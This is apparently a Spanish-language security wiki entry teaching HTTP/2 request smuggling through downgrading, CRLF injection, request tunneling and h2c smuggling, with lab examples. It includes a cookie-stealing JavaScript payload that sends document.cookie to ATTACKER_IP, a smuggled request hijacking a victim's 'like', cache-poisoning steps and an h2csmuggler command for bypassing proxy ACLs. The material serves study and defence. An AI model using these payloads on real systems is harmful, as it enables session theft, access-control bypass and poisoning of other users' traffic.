Ataques y defensa

HTTP2 Request Smuggling

#blueteam#injection#redteam#web

HTTP/2 Request Smuggling es una familia de vulnerabilidades que permite colar peticiones HTTP a través de proxies que usan HTTP/2 en el frontend pero HTTP/1.1 en el backend (downgrading)…

Definición

HTTP/2 Request Smuggling es una familia de vulnerabilidades que permite colar peticiones HTTP a través de proxies que usan HTTP/2 en el frontend pero HTTP/1.1 en el backend (downgrading). Aunque HTTP/2 fue diseñado para eliminar las ambigüedades de tamaño de HTTP/1.1, los entornos mixtos reintroducen el problema: un atacante puede manipular la conversión HTTP/2 → HTTP/1.1 para desync el backend, logrando los mismos impactos que el smuggling clásico y más.

Técnicas principales: H2.CL, H2.TE, CRLF Injection, Request Tunneling y h2c Smuggling.

Contexto

HTTP/2 vs HTTP/1.1

HTTP/2 introduce cambios estructurales fundamentales:

Característica HTTP/1.1 HTTP/2
Formato Texto legible por humanos Binario
Delimitadores de headers \r\n entre headers Longitud prefijada para cada campo
Tamaño del body Content-Length o Transfer-Encoding: chunked (ambiguo) Longitud precisamente definida en el frame binario
Headers especiales Pseudo-headers con : (:method, :path, :scheme, :authority)
Nombre de headers Case-insensitive Siempre lowercase

En HTTP/2 puro, Content-Length y Transfer-Encoding son irrelevantes para delimitar el body (la longitud ya está en el frame). Esto en teoría elimina el smuggling. Sin embargo, si hay downgrading a HTTP/1.1, los headers que el cliente envía en HTTP/2 se pasan al backend HTTP/1.1, donde sí tienen efecto.

HTTP/2 Downgrading

Cuando un reverse proxy sirve al cliente con HTTP/2 (conexión frontend) pero solicita el contenido al backend con HTTP/1.1 (conexión backend), se habla de HTTP/2 downgrading. Este escenario es común porque muchos backends legacy no soportan HTTP/2.

En el downgrade, el proxy convierte el request HTTP/2 a HTTP/1.1. Si el proxy no filtra correctamente los headers que el cliente puso en el request HTTP/2, un atacante puede inyectar headers maliciosos que tendrán efecto semántico en el backend HTTP/1.1, causando desync.

Impacto

  • Interferencia con las peticiones de otros usuarios (si el backend comparte conexiones).
  • Cache poisoning en el proxy frontend.
  • Bypass de restricciones ACL del frontend proxy (request tunneling).
  • Robo de sesiones/cookies mediante captura de requests de víctimas.
  • Exfiltración de internal headers añadidos por el proxy.

Desarrollo

H2.CL — Content-Length injection en HTTP/2

Content-Length no tiene significado en HTTP/2 (la longitud del body está en el frame binario). Sin embargo, nada impide incluirlo. Si el proxy pasa el header content-length del request HTTP/2 al backend HTTP/1.1 sin modificarlo, el backend lo toma como válido.

Ataque: incluir content-length: 0 en un request HTTP/2 con body. El proxy convierte el request; el backend ve CL=0 y cree que el request no tiene body. El contenido real del body HTTP/2 queda en la conexión como el inicio de un nuevo request → desync.

Ejemplo conceptual:

HTTP/2 request (frontend):
:method POST
:path /search
content-length: 0
HELLO

El proxy convierte esto a HTTP/1.1 pasando Content-Length: 0. El backend procesa un POST sin body. HELLO queda en el buffer de la conexión como inicio de un nuevo request. Si otro usuario hace una petición, su request se concatena a HELLO, formando un request malformado o malicioso.

H2.TE — Transfer-Encoding injection en HTTP/2

Análogamente, incluir transfer-encoding: chunked en un request HTTP/2 que el proxy pase sin filtrar al backend. El backend HTTP/1.1, si prioriza TE sobre CL, procesará el body como chunked. El atacante puede poner un chunk 0 en la posición que desee para terminar el primer request e iniciar el smuggled.

Ejemplo conceptual (body del request HTTP/2):

0
GET /malicious HTTP/1.1
Host: example.com

El backend ve TE, encuentra el chunk 0 → primer request terminado. El resto → nuevo request smuggled.

CRLF Injection vía headers HTTP/2

HTTP/2 maneja datos binarios, por lo que es posible insertar cualquier carácter en los valores de los headers, incluyendo \r\n (CRLF). El problema surge durante el downgrade: si el proxy convierte el header HTTP/2 a HTTP/1.1 sin sanitizar los CRLF, un \r\n inyectado en el valor de un header se convierte en un separador de headers en HTTP/1.1.

Ejemplo (header Foo con CRLF inyectado):

Foo: bar\r\nTransfer-Encoding: chunked

Tras el downgrade a HTTP/1.1, este único header se convierte en dos headers separados:

Foo: bar
Transfer-Encoding: chunked

Esto permite inyectar headers arbitrarios (incluido Transfer-Encoding: chunked) en el request HTTP/1.1 del backend, generando desync. La inyección no se limita a headers: también puede afectar a cualquier parte del request que acabe en la conversión HTTP/1.1.

Request Tunneling vs Desync

Las técnicas anteriores (H2.CL, H2.TE) afectan la conexión backend compartida entre múltiples usuarios: el request smuggled “envenena” la conexión y el próximo usuario que llegue recibe o provoca el efecto.

Cuando el proxy usa conexiones backend por usuario (no compartidas), el atacante no puede influir en otros usuarios directamente. En ese caso se habla de Request Tunneling: el atacante solo puede smuggle requests en su propia conexión, pero sigue siendo útil para:

  • Filtrar internal headers que el proxy añade (útiles para construir requests válidos al backend).
  • Bypass de restricciones ACL del frontend proxy.
  • Cache poisoning (bajo las condiciones adecuadas).

Request Tunneling: Filtrar Internal Headers

El proxy puede añadir headers internos (ej. X-Internal-Auth, X-Forwarded-For) al request antes de pasarlo al backend. Conocerlos puede ser necesario para que los requests smuggled sean válidos.

Técnica (con CRLF injection via HAProxy CVE-2019-19330):

  1. Inyectar CRLF en un header personalizado (Foo) para añadir Content-Length: 0 y un segundo POST al backend.
  2. El segundo POST apunta a un endpoint que refleja el parámetro q en la respuesta.
  3. Incluir en q= suficiente espacio para recibir los internal headers del proxy (que se insertan después de los headers del cliente).
  4. Al enviar el request dos veces seguidas, el backend refleja los internal headers en la respuesta del segundo request.

En Burp Suite: capturar un POST HTTP/2, enviarlo al Repeater, desactivar “Update Content-Length”, usar el Inspector para añadir el header Foo con CRLF (Shift+Enter en el Inspector). Cuando Burp detecta caracteres binarios → modo “kettled” (no editable como texto; usar solo el Inspector).

Request Tunneling: Bypass de Restricciones ACL

Si el proxy bloquea el acceso a /admin pero permite /hello, se puede usar CRLF injection para smuggle un segundo request a /admin dentro del body de un request a /hello. El proxy solo ve el request a /hello (permitido por la ACL); el backend recibe ambos requests.

Nota importante: usar POST (no GET) para el request externo. Los proxies con caché pueden servir GET requests desde caché sin llegar al backend, haciendo que el ataque falle. POST no se cachea normalmente.

Request Tunneling: Web Cache Poisoning

Escenario: el proxy cachea contenido. Usando tunneling se puede forzar al proxy a asociar la respuesta de una URL con otra URL.

Plan de ataque (HAProxy con caché de 30 segundos):

  1. Subir un payload malicioso (JS con XSS) al servidor via la funcionalidad de uploads → guardado en /static/uploads/myjs.js.
  2. Enviar un request HTTP/2 con CRLF injection que genere dos requests backend:
    • Primer request: GET /static/text.js (con Pragma: no-cache para forzar al proxy a ir al backend).
    • Segundo request (smuggled): GET /static/uploads/myjs.js.
  3. El proxy recibe dos respuestas del backend para lo que él cree que es un único request. Sirve la primera respuesta al cliente y guarda la segunda en caché asociada a la URL del siguiente request.
  4. Enviar un segundo request a /static/text.js: el proxy sirve la respuesta en caché (que es el contenido de myjs.js).
  5. Cualquier usuario que visite la página cargará el JS malicioso en lugar de text.js.

Payload JS de ejemplo (robo de cookies via HTTPS):

var xhttp = new XMLHttpRequest();
xhttp.open("GET", "https://ATTACKER_IP:8002/?c=" + document.cookie, true);
xhttp.send();

Usar HTTPS para el listener porque HTTP/2 corre sobre HTTPS por defecto y los navegadores bloquean mixed content (HTTPS → HTTP). Generar certificado con openssl y servir con Python ssl.SSLContext.

h2c Smuggling

h2c (HTTP/2 Cleartext) es la variante de HTTP/2 para canales no cifrados. El cliente envía un HTTP/1.1 inicial con Upgrade: h2c y HTTP2-Settings; si el servidor acepta, la conexión se actualiza a HTTP/2. Aunque h2c está considerado obsoleto (la mayoría de navegadores no lo soportan), muchos backends legacy aún lo implementan.

Vulnerabilidad: algunos proxies, al recibir un request HTTP/1.1 con Upgrade: h2c, lo reenvían directamente al backend en lugar de manejarlo ellos mismos. El backend acepta el upgrade y establece una conexión HTTP/2 directa con el cliente a través del proxy. El proxy, creyendo que la conexión es ahora WebSocket/h2c, deja de inspeccionar el tráfico → túnel directo al backend sin pasar por ACLs del proxy.

Consecuencias: el atacante puede enviar requests HTTP/2 al backend ignorando completamente las restricciones del proxy frontend (ACLs, WAF, etc.).

Herramienta: h2csmuggler (BishopFox):

Terminal window
# Intenta h2c upgrade sobre / (permitido por ACL),
# luego usa el túnel HTTP/2 para acceder a /private (bloqueado por ACL)
python3 h2csmuggler.py -x https://TARGET:8200/ https://TARGET:8200/private

Variante TLS: si el proxy soporta HTTP/1.1 sobre TLS, intentar el upgrade h2c sobre el canal TLS. El proxy puede reenviar los headers de upgrade al backend (inusual según la spec, ya que h2c es para cleartext), creando el mismo túnel.

Ejemplos

Ejemplo práctico H2.CL — Varnish, forzar likes de otro usuario

Entorno: Varnish como proxy frontend, backend usando una sola conexión compartida para todos los usuarios (social network simulada).

Objetivo: forzar a otro usuario a dar like a nuestro post.

  1. Capturar un request HTTP/2 GET en Burp, enviarlo al Repeater.
  2. Desactivar “Update Content-Length” en Repeater.
  3. Confirmar que el request es HTTP/2 (indicador en la esquina del Repeater).
  4. Enviar:
POST / HTTP/2
Host: TARGET
content-length: 0
GET /post/like/12315198742342 HTTP/1.1
X: f
  • content-length: 0 → el backend cree que el POST no tiene body.
  • El body real (el GET smuggled) queda en la conexión backend compartida.
  • El GET incompleto (X: f sin valor) hace que el backend espere más datos.
  • El próximo request de cualquier usuario se appenda a X: f, completando el GET de like con las cookies de la víctima.

Importante: no dejar líneas vacías extra después de X: f. Esperar hasta 30 segundos a que la víctima haga una petición. Si el atacante hace una petición él mismo, se capturará su propio like.

Pitfalls

  • No filtrar \r\n en headers HTTP/2: la raíz del CRLF injection. Los proxies correctamente implementados deben rechazar headers HTTP/2 con CRLFs; muchas versiones legacy no lo hacen.
  • Modo “kettled” en Burp: una vez que se insertan CRLFs en un header, Burp no puede mostrar el request como texto. Toda edición debe hacerse desde el Inspector. Las capturas previas pueden parecer vacías.
  • Content-Length 0 en Repeater: recordar siempre desactivar “Update Content-Length” en Burp antes de enviar payloads H2.CL/H2.TE.
  • Caché local del navegador: al verificar si el cache poisoning funcionó, usar curl -kv URL en lugar del navegador. Los navegadores tienen caché local que puede enmascarar si el ataque tuvo efecto.
  • Tamaño del Content-Length en tunneling: al hacer request tunneling para filtrar internal headers, el CL del request smuggled es un estimado inicial. Si es demasiado alto, la conexión cuelga esperando más bytes; si es demasiado bajo, los headers se truncan. Ajustar iterativamente.
  • Conexiones backend por usuario vs compartidas: verificar el comportamiento del proxy antes de asumir que el desync afectará a otros usuarios. Con conexiones por usuario, solo es posible request tunneling.
  • h2c vs h2: h2c smuggling solo funciona si el proxy reenvía el upgrade h2c al backend. Si el proxy gestiona él mismo el upgrade (h2-aware), el ataque falla salvo que se intente sobre TLS.

Diagrama

flowchart TD
    A[Cliente / Atacante] -->|HTTP/2 request con headers maliciosos| B[Proxy Frontend\nHTTP/2]
    B -->|Downgrade a HTTP/1.1\nheaders maliciosos pasan sin filtrar| C[Backend Server\nHTTP/1.1]
    
    C --> D{¿Conexión compartida?}
    D -->|Sí| E[Desync Attack\nAfecta a otros usuarios]
    D -->|No| F[Request Tunneling\nSolo afecta al atacante]
    
    E --> G[Cache Poisoning]
    E --> H[Captura de requests\nde víctimas]
    F --> I[Bypass ACL del proxy]
    F --> J[Filtrar internal headers]
    F --> K[Cache Poisoning condicional]

    subgraph Técnicas de Inyección
        T1[H2.CL: content-length: 0]
        T2[H2.TE: transfer-encoding: chunked]
        T3[CRLF injection en headers]
    end

Referencias

Ver también: HTTP Request Smuggling, WebSocket Request Smuggling, HTTP Browser Desync, Burp Suite